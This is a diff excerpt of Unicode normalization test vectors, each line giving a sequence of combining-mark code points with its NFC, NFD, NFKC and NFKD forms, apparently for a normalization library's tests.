+{ source: [0x0061, 0x0339, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x033A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x033B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x033C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033D, 0x0062], NFC: [0x00E0, 0x05AE, 0x033D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033E, 0x0062], NFC: [0x00E0, 0x05AE, 0x033E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033F, 0x0062], NFC: [0x00E0, 0x05AE, 0x033F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0340, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0340, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0341, 0x0062], NFC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0341, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0342, 0x0062], NFC: [0x00E0, 0x05AE, 0x0342, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0342, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0342, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0342, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0342, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0343, 0x0062], NFC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0343, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0344, 0x0062], NFC: [0x00E0, 0x05AE, 0x0308, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0308, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0344, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E4, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0308, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E4, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0308, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x0345, 0x0062], NFC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x0345, 0x035D, 0x0062], NFC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0346, 0x0062], NFC: [0x00E0, 0x05AE, 0x0346, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0346, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0346, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0346, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0346, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0347, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0347, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0348, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0348, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0349, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0349, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034A, 0x0062], NFC: [0x00E0, 0x05AE, 0x034A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034B, 0x0062], NFC: [0x00E0, 0x05AE, 0x034B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034C, 0x0062], NFC: [0x00E0, 0x05AE, 0x034C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x034D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x034D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x034D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x034D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x034E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x034E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x034E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x034E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0350, 0x0062], NFC: [0x00E0, 0x05AE, 0x0350, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0350, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0350, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0350, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0350, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0351, 0x0062], NFC: [0x00E0, 0x05AE, 0x0351, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0351, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0351, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0351, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0351, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0352, 0x0062], NFC: [0x00E0, 0x05AE, 0x0352, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0352, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0352, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0352, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0352, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0353, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0353, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0353, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0353, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0354, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0354, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0354, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0354, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0355, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0355, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0355, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0355, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0356, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0356, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0356, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0356, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0357, 0x0062], NFC: [0x00E0, 0x05AE, 0x0357, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0357, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0357, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0357, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0357, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x0358, 0x0062], NFC: [0x00E0, 0x0315, 0x0358, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0358, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0358, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0358, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0358, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x0358, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0358, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0358, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0358, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0359, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0359, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0359, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0359, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x035A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x035A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x035A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x035A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x035B, 0x0062], NFC: [0x00E0, 0x05AE, 0x035B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x035B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x035B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x035B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x035C, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x035C, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x035D, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x035E, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035E, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062] },
